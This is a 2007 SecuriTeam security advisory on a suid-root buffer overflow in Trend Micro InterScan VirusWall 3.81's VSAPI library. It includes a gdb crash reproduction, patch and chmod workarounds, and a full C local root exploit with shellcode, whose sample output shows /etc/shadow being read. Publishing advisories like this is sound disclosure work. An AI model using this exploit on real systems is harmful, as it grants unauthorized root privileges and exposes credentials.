

# [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-01/msg00070.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 28 Jan 2007 11:49:11 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Trend Micro VirusWall Buffer Overflow in VSAPI Library

---

## SUMMARY

The  
<<http://www.trendmicro.com/en/products/gateway/isvw/evaluate/overview.htm>>  
Trend Micro VirusWall is "a software solution to block viruses, spyware, spam and various other kinds of threats at the Internet gateway". Local buffer overflow vulnerability in VSAPI library allows arbitrary code execution and leads to privilege escalation.

## DETAILS

### Vulnerable Systems:

\* InterScan VirusWall version 3.81 for Linux

### Immune Systems:

\* InterScan VirusWall version 3.81 for Linux Security Patch – VSAPI module

The product "InterScan VirusWall 3.81 for Linux" ships a legacy library called "libvsapi.so" which is vulnerable to a memory corruption vulnerability. One of the applications that apparently uses this library

## [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

is called "vscan" which is set suid root by default. It was discovered that this supporting program is prone to a classic buffer overflow vulnerability when a particularly long command-line argument is being passed and the application utilizes the flawed library to attempt to copy that data into a finite buffer. On a Debian 3.1 test system for instance an attacker is required to supply 1116 + 4 bytes to completely overwrite the EIP register and thus execute arbitrary code with root level privileges:

```
# /opt/trend/ISBASE/IScan.BASE/vscan -v
Virus Scanner v3.1, VSAPI v6.810-1005
Trend Micro Inc. 1996,1997
Pattern version 684
Pattern number 56446
No scan target specified!! do nothing.
```

```
# gdb /opt/trend/ISBASE/IScan.BASE/vscan
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details. This GDB was configured as "i386-linux"...(no debugging symbols
found) Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

```
(gdb) run `perl -e 'print "A"x1116 . "B"x4`
Starting program: /opt/trend/ISBASE/IScan.BASE/vscan `perl -e 'print
"A"x1116 . "B"x4`
(no debugging symbols found)
Virus Scanner v3.1, VSAPI v6.810-1005
Trend Micro Inc. 1996,1997
Pattern version 684
Pattern number 56446
```

Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

```
(gdb) info registers
```

```
eax 0xffffffff -1
ecx 0x24 36
edx 0x40277560 1076327776
ebx 0xbffffa03 -1073743357
esp 0xbffff818 0xbffff818
ebp 0x41414141 0x41414141
esi 0xbffff838 -1073743816
edi 0x804f008 134541320
eip 0x42424242 0x42424242
eflags 0x287 647
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
```

## [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

```
es 0x7b 123
fs 0x0 0
gs 0x33 51
```

### Analysis:

The severity of this vulnerability is probably "medium" as by default the vscan file is only executable by the root user as well as members of the "iscan" group which is created during the installation of the software:

```
# ls -la /opt/trend/ISBASE/IScan.BASE/vscan
-r-sr-x--- 1 root iscan 24400 2003-12-20 03:53
/opt/trend/ISBASE/IScan.BASE/vscan
```

However administrators may potentially have changed the default permissions and thus granted all local users the privilege to execute the file. If this library is also used by other applications they may also be flawed (unchecked).

### Workaround:

To address this problem, the vendor has released a patch called "InterScan VirusWall 3.81 for Linux Security Patch – VSAPI module" which is available at

<http://www.trendmicro.com/download/product.asp?productid=13&show=patch> and <http://www.trendmicro.com/download/product.asp?productid=13&show=patch> which will replace the flawed library libvsapi.so with a newer version.

Hence all users of the VirusWall product are asked to test and install this patch as soon as possible. Trend Micro also created a knowledge base article that covers the problem (see

<http://esupport.trendmicro.com/support/viewxml.do?ContentID=EN-1034124&id=EN-1034124> and <http://esupport.trendmicro.com/support/viewxml.do?ContentID=EN-1034124&id=EN-1034124>).

Furthermore as a temporary workaround one may also simply remove the suid bit from the vscan file and thus render any attack virtually useless by executing

```
# chmod -s /opt/trend/ISBASE/IScan.BASE/vscan
```

The same holds true for any other (suid root) application that uses this library.

### Disclosure Timeline:

- 02. January 2007 – Notified security@xxxxxxxxxxxxxxxx
- 05. January 2007 – Vulnerability confirmed
- 21. January 2007 – Release of patch
- 25. January 2007 – Public disclosure

### Exploit:

```
/*
```

Title: Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)

## [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

Author: Sebastian Wolfgarten, <sebastian@xxxxxxxxxxxxxxxx> –  
[http://www.devtarget.org/tmvwall381v3\\_exp.c](http://www.devtarget.org/tmvwall381v3_exp.c)

Date: January 3rd, 2007

Severity: Medium

Description:

The product "InterScan VirusWall 3.81 for Linux" ships a library called "libvsapi.so" which is vulnerable to a memory corruption vulnerability.

One of the applications that apparently uses this library is called "vscan" which is set suid root by default. It was discovered that this supporting program is prone to a classic buffer overflow vulnerability when a particularly long command-line argument is being passed and the application utilizes the flawed library to attempt to copy that data into a finite buffer.

As vscan is set suid root, this leads to arbitrary code execution with root level privileges. However the severity of this vulnerability is probably "medium" as by default the vscan file is only executable by the root user as well as members of the "iscan" group which is created during the installation of the software.

Example:

```
sebastian@debian31:~$ ./tmvwall381v3_exp
```

Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)

Author: Sebastian Wolfgarten, <sebastian@xxxxxxxxxxxxxxxx>

Date: January 3rd, 2007

Okay, /opt/trend/ISBASE/IScan.BASE/vscan is executable and by the way, your current user id is 5002.

Executing /opt/trend/ISBASE/IScan.BASE/vscan. Afterwards check your privilege level with id or whoami!

Virus Scanner v3.1, VSAPI v8.310-1002

Trend Micro Inc. 1996,1997

Pattern number 4.155.00

## [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

```
sh-2.05b# id
uid=5002(sebastian) gid=100(users) euid=0(root)
groups=100(users),5001(iscan)
```

```
sh-2.05b# cat /etc/shadow
```

```
root:***REMOVED***:13372:0:99999:7:::
daemon:!:13372:0:99999:7:::
bin:!:13372:0:99999:7:::
sys:!:13372:0:99999:7:::
sync:!:13372:0:99999:7:::
games:!:13372:0:99999:7:::
man:!:13372:0:99999:7:::
lp:!:13372:0:99999:7:::
mail:!:13372:0:99999:7:::
news:!:13372:0:99999:7:::
uucp:!:13372:0:99999:7:::
proxy:!:13372:0:99999:7:::
www-data:!:13372:0:99999:7:::
backup:!:13372:0:99999:7:::
list:!:13372:0:99999:7:::
irc:!:13372:0:99999:7:::
gnats:!:13372:0:99999:7:::
nobody:!:13372:0:99999:7:::
Debian-exim:!:13372:0:99999:7:::
sshd:!:13372:0:99999:7:::
postfix:!:13500:0:99999:7:::
mysql:!:13500:0:99999:7:::
vmail:!:13500:0:99999:7:::
amavis:!:13500:0:99999:7:::
iscan:!:13500:0:99999:7:::
sebastian:***REMOVED***:13500:0:99999:7:::
```

Credits:

Must go to Aleph One for the shellcode and mercy for bits of the code.

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#define NOP 0x90
#define vscan "/opt/trend/ISBASE/IScan.BASE/vscan"
```

```
// Shellcode by Aleph One
```

```
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

## [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

```
unsigned long get_sp(void) {
    __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[], char **envp) {

    // Size of the vulnerable buffer (1116 + 4 bytes to overwrite EIP)
    int buff = 1120;

    // Address of the shellcode
    unsigned long addr;

    // Temporarily used to add nops etc.
    char *ptr;

    printf("\nLocal root exploit for vscan/VSAPI (=Trend Micro VirusWall
    3.81 on Linux)\n");
    printf("Author: Sebastian Wolfgarten, <sebastian@xxxxxxxxxxxxxxxx>\n");
    printf("Date: January 3rd, 2007\n\n");

    // Check permissions on vscan executable, if this fails exploitation
    is infeasible.
    if (access(vscan, 01) != -1) {

        printf("Okay, %s is executable and by the way, your current user
        id is %d.\n", vscan, getuid());

        // Allocate memory for filling the buffer
        if((ptr = (char *)malloc(buff)) == NULL) {

            printf("Error allocating memory!\n");
            exit(-1);

        }

        // Determine the address of the shellcode with the inline assembly above
        addr = get_sp();

        // Add the NOP's to the buffer
        memset(ptr, NOP, buff);

        // Add the shellcode
        memcpy(ptr + buff - strlen(shellcode) - 8, shellcode,
        strlen(shellcode));

        // The return address
        *(long *)&ptr[buff - 4] = addr;
    }
}
```

## [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library

```
// Off we go, execute the vulnerable program
printf("\nExecuting %s. Afterwards check your privilege level with
id or whoami!\n",vscan);
execl(vscan, "vscan", ptr, NULL);

} else {

printf("Exploit failed. You seem not to have enough privileges to
execute %s, sorry.\n",vscan);
printf("Hint: Ask your local admin to add yourself to the iscan group or
let him make the vscan binary world-executable.\n");
printf("Then try again :-)\n\n");
exit(1);

}

return 0;

}
```

### ADDITIONAL INFORMATION

The information has been provided by  
<<mailto:sebastian.wolfgarten@xxxxxxx>> Sebastian Wolfgarten.  
The original article can be found at:  
<<http://www.devtarget.org/trendmicro-advisory-01-2007.txt>>  
<http://www.devtarget.org/trendmicro-advisory-01-2007.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.